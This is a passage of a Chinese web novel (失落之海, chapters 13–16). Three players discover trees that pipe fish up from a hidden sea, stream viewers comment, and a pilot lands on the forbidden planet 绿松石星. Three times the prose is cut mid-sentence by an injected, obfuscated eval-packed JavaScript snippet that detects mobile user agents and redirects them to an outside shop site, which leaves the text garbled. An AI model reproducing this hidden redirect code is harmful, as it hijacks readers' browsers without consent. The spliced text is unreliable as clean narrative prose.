江显忽然转过身，朝着一个方向走去。 不多时，他们回到了一片树木排布极为熟悉的地方，在这里他们第一次发现了鱼和水潭。 “鱼，不见了。”江显说。 她也是在自己的特制地图上发现白点停止了闪烁，才想起回来看看。 其余俩人环视四周。 “会不会是鱼和那些果实一样，滚着滚着就从间隙里漏进地里去了？” “果子的形状更容易滚动，但是死鱼——尤其是外形不规则、比果实大不少的死鱼，很难就这么从间隙里穿过去。” “被你说得好像这鱼是人参果一样，一出现就没了。”苏乐觉得有些毛骨悚然。随后她又找出了一个理由自我安慰：“会不会是我们找错地方了？” “不会。”陆寰也笃定地说，“刚刚未了防止迷路，我在这几颗树干上都做了标记，我们确实来过这里！” 苏乐只觉得头皮发麻。她的猜想恐怕要成真了。 随时随地出现又消失的鱼、不存在的海，这片森林的一切都像是鬼故事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055774|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 现下仍然毫无头绪，他们唯有选择朝更远处探索。 不知过了多久，在前面带路的江显突然伸出手，似乎在摸着什么看不见的东西。 “怎么了？”后面俩人皆停下了脚步。 “到边界了。”江显说。 “什么边界？” “地图边界。再往前去的区域，没有在地图上标注出来。”江显觉得自己的手碰到了一道屏障，不能越过半分。 随后她看到了系统提示：【玩家无法走出副本范围。】 他们获得的地图是一个正方形的区域，现在他们正位于正方形的边上。 系统给出的地图并不大，先前江显就和陆寰讨论过这个问题——地图外的区域里是什么，是否能到达。 现在这情形显然已经给出了答案：他们只能在地图范围内活动，就好像是被拘禁在这个方形区域里的蚂蚁。 “看来我们只能回去了。”陆寰对此表示并不太意外。 地图范围有限对于他们来说并不是坏事，至少他们找线索不需要真的把一整个星球都翻一遍。 “如果，我是说如果……我们要找的‘海’在方块区域以外呢？”苏乐有些担忧。 “那就是副本要存心杀死我们了。”江显说，“不过你这句话倒是从另一方面提醒了我。” “什么？” “海从来就不在远方。”江显说。 * “博士，我有一个问题要请教您。 “说。”叶泊猛然从座位上抬起头。 下级研究员听他这么说，松了口气走进这间整洁的办公室。 然后他就看到这位技术负责人眼前的墙上正在投屏，赫然是近几天火遍全星网的副本直播，也正是让他们无比头大的研究内容。 “在您的建议下，我们把获取到的所有副本地图拼接在了一起，并最终得到了绿松石星的图像。之前您也曾说过，或许所有1000个小副本组成了一个大副本。那么这些不同副本之间会相互影响吗？”研究员硬着头皮询问道。 他们这位叶博士向来以“怪人”著称，具体表现在随研究进度而阴晴不定的心情，以及全天沉浸在自己世界导致的夸张肢体动作。 研究员很怕自己的问题太蠢，叶博士一句“白痴”就把他轰出去。在传闻里这似乎是他的习惯。 “当然不会有影响！”叶泊指了指屏幕。 下级研究员顺着他手指的方向看过去，就见屏幕上面容清秀的年轻女性正朝前伸出手，却无法再寸进半分。 研究员也看过副本直播回放，这一组三个人可都是熟面孔了，那个女性他记得好像叫江显。他们这一小队因为各种骚操作这俩天风靡星网。 “您的意思是……他们被无形的神秘力量隔开了？” “目前来看可以这么说。”叶泊道，“我个人观点是，每一个单独的小队都被放置在了密封的格子里。每个副本格子都有它的中心任务。比如他们这个是找消失的海，还有副本的主线是保护另一座科考站不被怪鱼侵占，也有的是帮助科考队收获多少多少果实。” 说这些的时候，叶泊仍然时不时往屏幕瞄一眼，仿佛是一刻也不想错过他们的精彩表现。 他一定也是这一组的粉丝，对吧，对吧……研究员没想到看似沉迷研究的上级居然还有这一面。 于是本着和领导交流爱好拉近距离的打算，他鼓起勇气说道：“您也喜欢看这一组的直播吗？我也特别喜欢，他们组普遍有一种又癫又靠谱的气质……” 话还没说完他就被请出去了。 “白痴！我看这一组，是因为他们可能是目前唯一触发了两条支线的小队！我得靠他们的谈话内容反推支线内容，这对完善整个大副本的背景设定极其重要！”叶泊愤怒的声音在办公室内响起。 不知是不是他的错觉，研究员只觉得这位上级自今天早上以来就极度暴躁。 今天早上发生了什么重大变故吗？研究员摸不着头脑。 除了一支从来没见过的小型舰队飞离停泊港，似乎再没什么什么不同了。 思来想去，研究员只能把这归因于个人性格问题。 好吧，原来也不是所有人都爱看这些的。 研究员灰溜溜地回到了工位，一边工作一边打开光脑调到他最爱的这支队伍，好家伙，这里的观看人数已经又创新高了！ 14. 失落之海14 [我的天哪，他们居然和npc到树林深处去了，他们不知道npc会变成怪鱼杀人吗！我刚从大逃杀任务那一队的直播回来，他们组原本十个人现在已经因为npc损伤过半了！] [大家都觉得不同副本之间的设定是一样的吗，真巧我也是这么觉得的。话说玩家能不能看到弹幕啊，如果能的话一定要记得远离npc啊！] [楼上别做梦了，估计是看不到。甚至可能根本不知道自己上大荧幕了。] [看来这一组也要重蹈覆辙了啊，真是可惜。] [这什么鬼副本啊？这不成心致人于死地吗？] 观众们有惋惜的、有干着急的、有大骂副本设定的。 然后他们就看到假装查看果实的江显忽然用长钳子一记锁喉，又开枪干脆利落地把npc爆头了。 弹幕再次陷入了几秒沉默。 [我靠，江姐nb啊！npc说干掉就干掉了！] [怎么感觉她有一种奇怪的娴熟……？] [像脑子的那坨东西出来了出来了！我看大逃杀那个副本里也有人杀了npc，可是没躲掉“脑子”，然后他们就成了新的npc！] [太好了，陆寰也躲开了。离开寄生体后“脑子”如果没能找到新宿主，就必须尽快制造出一个新的寄生体。这得消耗不少时间，现在他们很长时间可以不用担心这个npcl！] [这俩人的配合怎么也这么完美……] 有人表示怀疑。 [有没有可能，别人昨晚在你们错过的支线任务里已经碰到过一次类似情况了……] 有人真相了。 [你不说我都忘了。可恶啊当时没看！感觉错过了几个亿！立刻去补！] [我看了大概十几个直播，一共也就两队触发了支线任务。他们这一队肯定是推剧情推得最快的了吧！] ………… 弹幕还在飘着，他们又看到江显目光盯着那些血色果实，蠢蠢欲动。 [江姐不会是想反其道而行戳破那些果实吧。这可万万使不得啊！毕竟那个npc都警告过了。] [我之前看有一队伍主线就是收集果子，有个玩家不小心把果子弄破了，然后一瞬间无数的白色蠕虫就冒出来把他吃了！] [好奇问问楼上，然后呢？] [然后我当然是不敢看了啊。] [统一回复一下这个问题的答案。白色蠕虫会把人连肉带皮吃个干净，只留下一具骨架。然后它们互相吞噬和融合，形成一个新的脑子，再根据吞噬的基因信息（可能是这个原理？）重建出一个人来。这就是其中一些npc的由来。也是npc死后白色脑子不死的原因。] [我靠这么可怕！江姐千万不要一时糊涂啊……] 直播间里一时又清一色全都是给江显祈祷的。 然后他们就又目瞪口呆地看着江显用她那不太准的枪法把果实射爆了。从中破壳的白色蠕虫真的像那人所说一样，互相吞噬和融合。 再然后，没能吞噬到血肉的虫子们就这样枯萎了。 残骸还躺着，而另一旁江显已经开始冷静地分析情况。 观众们悬着的心终于落地了。 [尼玛看这一组的直播我都要看出心脏病了，心跳时不时飙升一下。]有刚进直播间的吐槽。 [楼上，习惯就好，这就是他们独特的配方。] [没错，要是你看到他们昨天的《多动症爬树掉下来》《让我清理一下霉菌》和《铁门捕鱼夹》等世纪名画，就不会这么说了。] [从旁观者角度来看其实我也没觉得他们有多厉害。但是架不住和其他小队比啊！别人是能踩的坑一个不落；他们倒好，直接弹射起跳飞跃陷阱。] ………… 从今天早上起，江显他们直播间的弹幕就没停过。 再后来，“随处冒出的鱼”和“闻着鱼腥味火速赶到的江显”以及“前面的区域以后再探索吧”都依次引发了不小的讨论。 而现在，所有人又呆头鹅一样看着江显从推车里拿出一把电锯，目光直直盯着面前一颗大树。 这个星球上的科技水平和星际时代太不相称。这里的科考队用纸质照片、步行外出、连一台大型的自动化设备都没有，传说中那艘科考船更是连影儿都没有，电锯和手枪在这里反而算是前沿产品了。 如果副本故事是真实存在的，江显合理怀疑这支科考队会穷死在前往目的地的路上。 默默吐槽完这些，她启动了电锯的开关。 轰隆隆的刺耳噪声中，电锯的齿轮开始滚动了。 在她身后，陆寰和苏乐就看着她这发疯一样的行为。他们都已经对江显的行为模式习惯了。 电锯并不锋利，甚至上面锈迹斑斑，连光泽都看不见了。当它和树木表面接触时，木屑飞得到处都是，吱呀呀的尖锐声音叫人牙酸。 结果就是，砍了半天，树皮上的痕迹都没有多深。 江显也不气馁，大有一种“铁杵磨成针”的决心，往那儿一站就是十几分钟。 终于，树干里的东西暴露在了他们面前。 ——一根柔软的、向上走行的管子。 “这难道是什么新型灌溉设备吗？”苏乐疑惑。 江显的电锯没有停，软管被她锯出了一个豁口；与此同时，一条鱼没能止住上升势头，从豁口中飞了出来！ “卧槽！”江显也是一惊，一歪头堪堪躲过这意料之外的迎头痛击。 “这是什么？”苏乐看着不远处地上的鱼，心有余悸。 “管子！树干里有运输鱼的管子！”江显的声音带着一丝她自己都没有察觉的激动。 被剖开的软管像是一处堵塞后冒屎的阴井盖，一连串飞出十几条完整的死鱼。 确认断口消停了，江显这才走过去仔细观察。 那些软管不像是人为放置其中的东西，因为管道周围还生长着一些和周围连接的细小经络。 这些管道——是树自己长出来的！ “鱼！树在自行运输这些鱼！”江显激动道。 副本进行到此，她直觉自己终于发现了一个至关重要的线索。 陆寰自言自语：“这些树，又是怎么把鱼从地下运上去的呢……” “是压强！”苏乐突然眼前一亮，“这些软管里，低处压强高，高处低压，这些鱼就被‘抽吸’到了高处！如果我们割破管道，就会使得这种状态消失。” “高压使得鱼喷出，然后等到内外压强相等，就不会再有‘鱼’被传输上来。” “只是……这些树木又为何要进化出这样的软管来运输鱼类？”江显自言自语。 “或许……是为了吞噬鱼，然后获取养分吧。”苏乐说，“这或许也是这些树木能长这么高的原因。毕竟它们是食肉植物啊！” 江显若有所思。 “它们……究竟是如何进化出如此粗的管道的？”陆寰不禁感叹。 “自然界的生物就是有如此多的可能性。”苏乐说，“你们在小学课本上都看过那什么芹菜吸红墨水实验吗？就是墨水会沿着植物的茎上行，然后整条茎都会呈现出红色。或许这些树干里的管道和茎也有异曲同工之妙呢！” 江显又看了俩眼那足有碗口粗的软管，只一会暴露在空气之中，它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055775|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的边缘就已经从原本的湿润变干枯了。 她拿着电锯走到旁边另一棵大树下，换了个方向故技重施切了个缺口。 这一次，他们看到森白的鱼骨从这根管道的高处掉落。 “树在吃鱼！”苏乐颇为激动地喊道。 树在吃鱼。 它们依靠这些埋藏在树干内的管道，将鱼从地下运输上高高的树冠，然后将消化后的骨骼运输回地面，埋在根茎下——这就是巨树下那些白骨堆的由来！ 所以他们昨天晚上会听到向导说“祭品”“养料”之类的话。他的确是字面意思，因为这里的树木靠吞食活物获取营养。 “这么看来，最大的危机竟是隐藏在树冠之上。“江显抬头望着看不到的天空。 树冠上一定存在着什么用来消化的结构，她现在只能勉强想到捕蝇草食人花那样的恐怖大嘴。总之绝非善类。 【最终boss复苏进度：60%】 系统再次发出提醒。 这一次，三人都已经习以为常，愣了一秒后就恢复如初。 树冠是一定得上去一趟的，但现在他们没有趁手的工具，徒手爬几十米高属实不现实。 或许他们可以等回去科考站后翻一下仓库，看看里面有没有梯子或是绳索之类的东西。 “我想，我找到那片失落的海了。”江显勾起嘴角。 另俩人都等着她说下去。 “海洋一直在我们脚下！”江显说道，“所以你们地图上才会没有任何地势起伏、树林里才会在退潮时冒出搁浅的活鱼、道路才会由数不清的海洋生物尸骨做成；所以向导他们才会说要去捕鱼！” “一开始副本简介就告诉我们了！【它曾因透明无暇而平静的绿色海水而著名，许久以前的某个春天为它戴上另一顶永不凋零的翡翠皇冠。】” “树，就是冠冕！” “那些npc们是来种树的，只不过他们是在浩瀚的海面上种树！” “他们创造了这片海上森林地貌、也建造了林间那些壮观的鱼骨小道！“ “还记得日记上的那句话吗——‘我们被冻在了春天汹涌的绿色潮水里’。这句话的意思是说，他们被困在了这片噩梦一样的树林里，再也不能离开！” “海一直都在！只不过密密麻麻的树根纠缠连接在一起封住了海面，像是悬浮在水面上的油层！” 许许多多线索在此刻联系在一起，江显觉得自己正在窥见这颗星球的秘密。 “可这简直不符合常理！”苏乐摇摇头，试图否认这样离奇的解释，“树根泡在水里绝对会烂的。” “这是一个诡异的副本，树都能长出‘食管’和‘肠管’——你在母星上见过这样的树吗？我们不能用常理去揣摩它。”江显说，“更何况，地球上原本就有一种红树林能够生活在海里。” 她先前也思维惯性地试图用现有理论去解释一切，比如汉斯没有声带肌肉怎么说话、怪物怎么可能没有血。而现在彻底她明白了，在副本里的一切，她不需要用科学去解释它。 而是需要接受和利用它。 眼下许多谜题就这样一并解开了。譬如他们那天晚上解锁的隐藏区域很显然就是树林之下隐藏的一整片海，他们那晚发现了鱼类的骨骼所以某种程度上够到了正确答案。 她的特殊技能果然在给她提示地图上的异常之处！无论是鱼骨路、树根还是中央巨树，这些呈白色的区域的的确确引导她不断收集线索发现了部分真相。 可是如果现实中的X线是密度成像，在这个副本里的所谓“亮区”会不会也有着相似的原理？它反应的……是什么东西的密度呢？ 15. 失落之海15 “或许我们现在可以重新捋一遍副本的背景了。”江显还思考着，一直安静在听着的陆寰突然说道。 “首先，20年前，这支小队来到了这个满是茫茫大海的星球，任务是在海上种树。” “一开始十分顺利，他们建造了森林和小路。并且随着时间推移，树木开始蔽日。” “但是后来，意外发生了。汉斯和杰克俩人遭遇了某种意外——很可能是弄破了树木的果实，导致被白色蠕虫吞噬殆尽。然后蠕虫化成具有【拟态】能力的怪物，继续感染其他npc，直至其他所有人变成怪鱼样的怪物，喜吃生鱼。” “再然后，就是察觉到事情真相的三个正常人自杀。再后来我们所代表的人物作为补充来到这里，填补他们的空缺。” “从这一过程中我们可以得到一些附加信息。” “第一，队员们很早就知道那些‘智树’食肉的特性——因为鱼骨路的规模绝非短时间内就能铺就。因此唯有npc早在一开始就知道这些，才会利用鱼骨铺成路。甚至说，他们一开始的任务就是利用‘智树’的这一特性干些什么。” “第二，那些长满蠕虫的果实也并非一开始就出现的——也许开始的时候树没有果实，或至少一开始果实是正常的，否则不会到最后阶段才发生人类的变异。” “那么，从第一点延申而来的问题就变成了：他们的任务是什么？他们要利用这些树干什么？” “第二点也同样产生了新的谜题：这颗星球上发生了什么？为何蠕虫会长进果实里？” 刚刚还因一系列发现而振奋的江显再次陷入了沉思。 “先回科考站吧。”江显蹙了下眉，“你们有计时间吗？” “我路上估算了一下心跳，大概过去了4-5个小时的样子。”陆寰说。 这颗星球的自转周期和地球不一样，在林间又分辨不出天色，很容易导致人对时间的概念错乱。 他们原本的打算是去巨树下的隐藏地图进行探查，但意外发现的活鱼打乱了计划。 现在再去隐藏地图也来不及了，唯有先返程了，毕竟如果不能在天黑前回到科考站的话，谁也不知道那些npc会干出些什么。 值得庆幸的是，他们在树干上做了标记，现在距离科考站又不算太远，因此时间绰绰有余。 三人顺着标志物原路返回鱼骨道路。 江显推着小车里的工具和果实，心里仍在思考着。 尽管迷雾仍未散去，但他们在这两天里已经有了太多收获，现在距离真相仅有一步之遥。 目前时间还剩下2天，他们已经明确知道，海洋就在脚下，只需要在倒计时结束前找到办法前去就行了。 江显现在已经完成支线任务1；陆寰那里，怪鱼、巨树、蠕虫以及怪物npc之间的关系千丝万缕，只差一个契机就能把一切都串在一起。这样想来支线任务2也不用太过担心。 唯一让人发愁的是…… 她打开面板，那里“剩余支线任务数目”仍然停留在1/3。 主线任务第一阶段还剩下一天，一天后他们就得跟着npc们去捕鱼，也就是所谓阶段二。那之后一定会发生剧变。 支线任务3到底是只能在阶段二触发呢，还是他们还有什么没发现的线索、没满足的条件？ 如果他们必须在阶段一完成所有支线任务的触发，时间就又紧起来了。 想到这里，江显又微微蹙起了眉。 一旁陆寰见她放慢了脚步，以为她是累了。 他从她手里接过推车，岔开话题：“你们知道吗，其实，绿松石星是一颗真实存在的星。” “它居然真实存在？”江显来了兴趣。 苏乐也投来好奇目光。 “是啊。在首都星的时候我时常在夜里用天文望远镜观察它。” “现实里它看起来是怎么样的？”江显问。 “整颗星球都是碧绿的。”陆寰说，“看起来就像是一颗无暇的绿宝石。” “海洋？还是森林？”江显打趣道。 “这我怎么知道？”陆寰说，我主要研究天体的运行轨道，它们上面的环境不归我管。“ “那你没有上星网了解过相关资料吗？真要好奇的话去那里实地考察一下也不是不可能。”苏乐不解。 “那一块区域是禁飞区，天文望远镜和飞行器都不准路过，星网上也没有更详细的资料。”陆寰说。 禁飞区？江显更好奇了。 她所知道的禁飞区并不多。其中有的是因为周围遍布小行星带太过危险，也有的是因为附近的恒星极不稳定，一言以蔽之就是环境过于恶劣。 “为什么？” “因为，我们只能看到想让我们看到的星星。” 这一句话来得没头没脑，江显一时没理解他的意思。 “不过，我还是更倾向于它上面覆盖着森林。”陆寰把话题扯了回来。 “为什么？” “大概在三四十年前吧，据说那时候绿松石星本来计划被作为一颗移民星球来开发。可是后来计划无果而终了。”陆寰说，“既然是移民星球，肯定得做到环境和各种资源适宜吧？全是海洋的话也太单一了。” “移民？‘创世纪科技公司’的项目吗？”江显随口问。 毕竟整个星际以他们干这行最为著名。 陆寰点头：“猜对了。” 苏乐不解：“真的会有人想要移民到一颗还未被开发完全的星球上去吗？” “我想是有的吧。”江显道，“有人向往未经开垦的原始风光，有人迫于生计别无选择，也有人只是想在茫茫星海间寻求归宿。” 陆寰笑道：“也或许，有人想要亲眼见证着一颗星球的繁荣和崛起，而他作为塑造者之一参与其中。” 三人就这么随口聊着，回到了科考站。 一进门，就见汉斯神情怨毒地朝他们走来。 江显一拍脑袋，心说在树林里忙了老半天，都把这家伙忘了。 汉斯显然又恢复完全了，看不出一点伤口。头上的属性信息也显示着“npc”而不是那晚的“怪物”。 究竟怎样才能杀死仿佛能够无限刷新的东西呢？ “让你们收集的果实收集好了没？”汉斯盯着他们道。 陆寰把小推车推到前面。 “就这么点？”汉斯一看推车底部堪堪盖满，精神波动飞速上涨。 他们能装满才有鬼呢！三人本就消极怠工，江显一开始就开枪打爆了几个，后来还为了减轻负重倒掉不少。 “我们一不小心离开了主路，推车翻了，果实全都洒了。”陆寰又开始用技能理直气壮地胡诌。 汉斯冷哼了一声，似乎信了这套说辞。 “你们过俩天小心点。”他威胁完，就朝餐厅走去了。显然他还在惦记着那些生鱼。 npc要吃饭，他们玩家也是要吃饭的。为了避免发生像昨天那样的骚乱，这次大家都很识趣地回房间啃压缩饼干。 苏乐一边嚼着一边猛灌水，吃得垂头丧气。 “人怎么能做出这么难吃的食物来？”她看着手上那一截其貌不扬的饼干感慨。 她都吃了好一会儿了，那截饼干还是那截饼干。 “或许正是因为如此，我们才不会被npc抢食吧。”陆寰耸耸肩，算是认命了。 江显品尝着压缩饼干那如粉质一样的味道，突然说道：“我其实一直在思考一个问题。” 俩人都看向她。 江显问：“我们的身体真正进入了副本吗？还是说这里的一切都只是我们的意识？“ 如果是前者，副本里有太多无法用科学解释的东西，比如她为什么能看到玩家信息、为什么能听到系统提示；可如果是后者，一切又都那样太过逼真，就比如说现在那股弥漫在她嘴里的怪味。 江显不敢妄下定论。 她原先以为，副本里的一切都是虚构的，一切光怪陆离的怪物在现实都是不存在的； 可是当陆寰告诉她，现实中确有绿松石星，且或许和副本存在相似之处时，她动摇了。 如果副本只是一个不具有实体的东西，他们仅仅是意识进入了副本，那么他们的身体又在何处？那班故障的飞船上吗？他们现在又处于什么状态？灵魂出窍？ 副本是什么？他们又为何会出现在那里？ 现实和副本的关联又来自何处？一个在现实里被列为机密的星球，又为何会展现在他们眼前？这背后究竟是人为操纵还是超自然巧合？ 江显从未对自己如此怀疑过。 有一瞬间，她甚至悲观地觉得，自己或许早已死去，现在正在思考的不过是游荡于宇宙角落的一缕残魂。 残魂……或者专业点来说，将死之人的意识，也会思考这么哲学性的命题吗？ 江显回忆起了以前在医学院时学过的知识，许多人在濒死状态下都看到过光、记忆闪回、灵魂离体。这一切都让人情愿相信，□□死后意识依旧不灭。 但其实，这些很大可能都只是人的大脑在缺氧和缺血条件下产生的幻觉。 如果，关于副本的一切都只是她大脑不愿死亡、自欺欺人的谎言呢？ 陆寰似乎看出了她的焦虑，反问道：“具体是什么让你对这里的真实性产生了怀疑？” “……因为没有任何证据能证明，我们所经历的一切是真实存在的，这在我们自己身上也同样适用。” “可是我们都在这里啊。”苏乐自然而然地在江显眼前晃了晃手，“我们还能像现在这样交流、思考、互相帮助。我们的反应和行为不正是对方存在的间接证明吗？” 江显一愣。 她一抬头，正好看到陆寰带笑的眼睛在注视她：“你是想无情地给在场所有人都发一张死亡通告单吗？” “不……”江显舌头打结。 “那就不要钻进牛角尖了。至少暂时，我们都还是彼此存在的重要人证。” * 飞行器队列整齐划一地从幽寂的宇宙里掠过，锋利的侧翼如同一把利刃，像是要把永夜划开。 但是黑暗在可以忽略不计的时间里弥合了伤口，他们甚至连一点声音都没有发出。 “这里是1号，这里是1号。呼叫指挥机。我们正在遭遇电磁乱流！” 嘈杂的噪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068127|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声在耳朵上的通讯器里响起。 “指挥机收到。稳住机身，保持阵型，快速穿越乱流带。”露西亚镇定地操作着驾驶舱里那些密密麻麻的按钮，调整着飞行器的姿态。 他们已经在茫茫宇宙连续飞行了一昼夜，整支队伍现在已经从另一正常的星门完成跳跃，然后绕路抵达了金天鹅座。 不想刚刚抵达星系没多久，他们就闯入一片大规模电磁乱流区。 飞行器舱里开始嘀嘀嘀响起警报声，五颜六色的提示灯不停乱跳，队伍频道通讯也因信号受干扰而一片杂音。 “真见鬼。”露西亚一边打开备用推进器，一边注视着前方。 原本的推进器受到了影响，现在已经拉到最大功率不堪重负了，整个机体却仍在猛烈抖动个不停。 “好端端哪儿来的电磁乱流？也没听说金天鹅星最近有耀斑活动和日冕物质抛射啊？”露西亚百思不得其解。 金天鹅星是一颗和太阳在大小体积密度上都十分相仿的恒星，它向外活动的“太阳风”常造成周边宇宙环境的电磁改变。 眼前的异常是否和它有关，还是个未知数。 她加足了速度，试图快速穿过这片区域。 视野已经晃得要看不清了，只能感受到强光明明灭灭地在眼前闪烁。那是金天鹅星从附近一颗行星的遮挡后露出一条金边。 炫目的强光让人近乎失明，即使带着护目镜，露西亚仍需眯起眼睛，否则一瞬间的晃神足以让她机毁人亡。 几秒后，金天鹅星黯淡了光亮。它一整个被他们眼前的这颗小行星遮住了。 于是，这颗星球终于以它的本貌展现在眼前。 那是一颗通体翠绿的、犹如翡翠珠子一样的小行星。 那是……绿松石星！ 露西亚曾在星航地图上观察过它，她用自己的权限解锁过资料，知道它的地表充满了远古森林，其它信息不详。 定位导航系统仍然没从电磁乱流的影响中稳定下来，刺啦刺啦的电流声中隐隐有提示：警告……警告……您已进入……禁飞……区……您已进入……禁飞区……” 露西亚关掉了提示，她确信它是报废了。 ——一颗未经开发的无人行星，怎么可能被列为禁飞区呢？？ “全体注意，准备降落。”露西亚说道。 金天鹅星的光亮消失又再现，星球不会因为他们即将登陆而停止绕行。 飞行器玻璃在阳光下反射强光，如同洒出一把闪烁的钻石。 “热防护系统开启。” 仪表提示外界温度持续升高，他们正在热层下降，即将穿过这颗星球的卡门线。 他们像是陨石一样冲向那广阔而恬静的绿色，机身和气流猛烈摩擦着要把他们点燃。 “进入大气层。”露西亚艰难地在队伍频道里说道。 剧烈的失重让她下意识咬紧牙关。唇上一股温热的液流，她准是狼狈地流鼻血了。 “高度2万米，减速系统开启。” “高度1.5万米。” “1号机已就位。” “2号机已就位。” ………… “高度……” “不！高度检测器显示这颗星球的地面比资料上高了近5000米！”露西亚看着屏幕，突然打断了其他人的报告，高声吼道：“开启反推系统！开启反推系统！我们要撞上了！” 操作屏幕上鲜红的“警告”字样狂跳不止，露西亚心里满是不可置信。 怎么可能？ 这颗星球的地表怎么可能足足比资料上高了这么多？ 行星没理由莫名其妙长大。 可是如果下面的障碍物不是地表，又能是什么？ 一切都是那样诡异。 他们和“地面”的距离正在飞速缩短，露西亚甚至已经能够看到这颗星球对流层的高云。 “重新校正，高度6000米” “高度5000米” ………… 不幸中的万幸，他们在坠机前刹住了脚，飞行器顺利降下了速度。 剧烈的震感从驾驶座下传来，巨大的轰鸣声里，他们总算是重新脚踏实地地落在了地面。 强大的惯性让她的机舱足足滑出百米才止住势头，她整个人都差点被从座位上甩出去。 漫天飞舞的尘土遮挡了视野，露西亚平复着呼吸，心有余悸。 刚才实在是太过惊险，但凡她反应稍慢一点，全队都会落个尸骨无存。 他们对于一整颗星球而言，不像是访客，更像是一场雨，砸在地上就化为齑粉、不复存在。 尘土散去，露西亚朝窗外望去。 窗外没有郁郁葱葱的古老森林。 只有在阳光下闪着金属光泽的飞船降落坪。 远处，金属塔尖上的装饰物在阳光下一圈圈转动。 而他们刚刚声势浩大的降落行动摧毁了整整两座航站楼，现在沿途布满了废墟。 “铛！” 露西亚眼睁睁看着一块金属牌在眼前折断，上面“绿松石星欢迎您”的大字就这样热情地迎面贴在了她的前玻璃上。 16. 失落之海16 这一晚平安无事。 没有支线任务、没有npc骚扰，江显终于睡了个好觉。 然后第二天早上，大家又不幸地听到了系统提示： 【最终boss复苏进度：80%】 “那个最终boss到底是什么东西？”苏乐问出了一个他们心中都关心的问题。 “我猜有很大概率是向导。”江显说道。 毕竟先前每一次复苏进度增长都和向导有关。 这天早上向导没有再来喊玩家们分组出去完成任务，于是三人决定自行去林中继续探索。 今天他们准备完成昨天剩余的探索任务，登上树冠一探究竟。在出门前，他们从仓库里找出了绳索、锚钩和系在腰上的扣锁。 三人对于整张地图已经颇为熟悉，没费多久就找到了巨树。 巨树和前俩日并无什么区别，依旧是庞大和静默的。 “你们用过锚钩吗？”陆寰转头问道。 江显和苏乐一致摇头。 锚钩这种东西也太有年代感了，现在再不济也应该是机动滑轮组，能自动升降那种。 “我先试一下。”陆寰说着摁下了发射按钮。 “能用。”他下结论，“只是如果想爬到树顶上，得多发射几次。” 确实，他现在锚钩到达的不过树高八九分之一。这已经是发射极限了。 钩子深深地扎在树皮上，陆寰双手拉着绳索，双脚离地。 就见陆寰蹬在树干上，借着绳索拉力一步步缓缓上移。 他的动作协调而轻盈，修长的腿脚活动起来让人只觉赏心悦目。挽起的袖子下露出紧绷的手臂线条，不是什么长年累月刻意锻炼出来的腱子肉，而是自然而优美的肌肉轮廓。 简直就和他这个人似的，看起来纯良无害浑然天成，实则有意无意间都勾得人心痒痒。 一个自称是助理教授的家伙，身手好到这种地步，简直是叫人怀疑！ 江显看不到他的属性，也看不透他的秘密，只想把他整个人都放在X线强光下照一照。 在她这么想着时，陆寰抵达了树枝分岔，跨上粗壮的树枝作为落脚点。 接下来他收回钩子，对准更高处再次发射。 钩子再一次落在了上方的枝桠上。 只要不断重复这一过程，他们就能攀上树梢。 “完全可行。”陆寰朝低处喊话，“如果力气不够的话可以把绳索系在腰上，这样不用担心会失足坠落。” “这下我们都能成为登高的多动症了。”江显说。 她和苏乐俩人立刻照做，在固定好绳索后，往腰上绑好扣带。现在她们看起来十分滑稽，像是去玩跳伞的。 江显抓紧绳子，侧着身踩在了树干上。 好在树皮表面粗糙布满了纹路，她的脚没有那么容易滑脱。 绳索摩擦着掌心让她感到些许疼痛，江显憋着口气奋力一窜，终于登上最近的一个枝桠。 而后她稍一休整，再度启程。 他们就这样走走停停攀登了好一会儿。终于，头顶密密麻麻的树冠近在咫尺。 江显抬头望去，现在她能看到的重重枝干正是遮挡住阳光的元凶。穿过这一片区域他们就能突破树木的封锁。 周围的果实数量正在变多，枝干在枝叶掩映里时不时悬挂着红艳艳的“脑子”，看得人毛骨悚然。 “小心！”江显看着树干另一面的苏乐大声提醒，“快贴着树干往左！！” 在她头顶不远处，有一颗果实正在摇摇欲坠。 苏乐被她喊得一激灵，下意识照做。 下一刻，她就看到一团血红从她身旁掠过，朝地面坠落。 她心有余悸地往下撇了一眼，就见那果实恰巧砸在一处树根的尖刺上，一时间白花花的一团虫子乍起。 再然后蠕虫们像先前那样团成一个球，又很快地枯萎死去，比朝生暮死更为短暂。 她不敢想象刚才自己要是被砸中了会怎样！ “看着点头上！”比她们爬得更高的陆寰出声提醒。 他们在攀爬时无可避免会撼动树枝。再往上，这样的事情只会愈来愈频繁。 三人迎着头皮往上爬，但很快，他们上方的通道彻底被果实堵死了。 江显再抬起头时，已经看不到枝叶了，视野被强烈的血红色充斥。 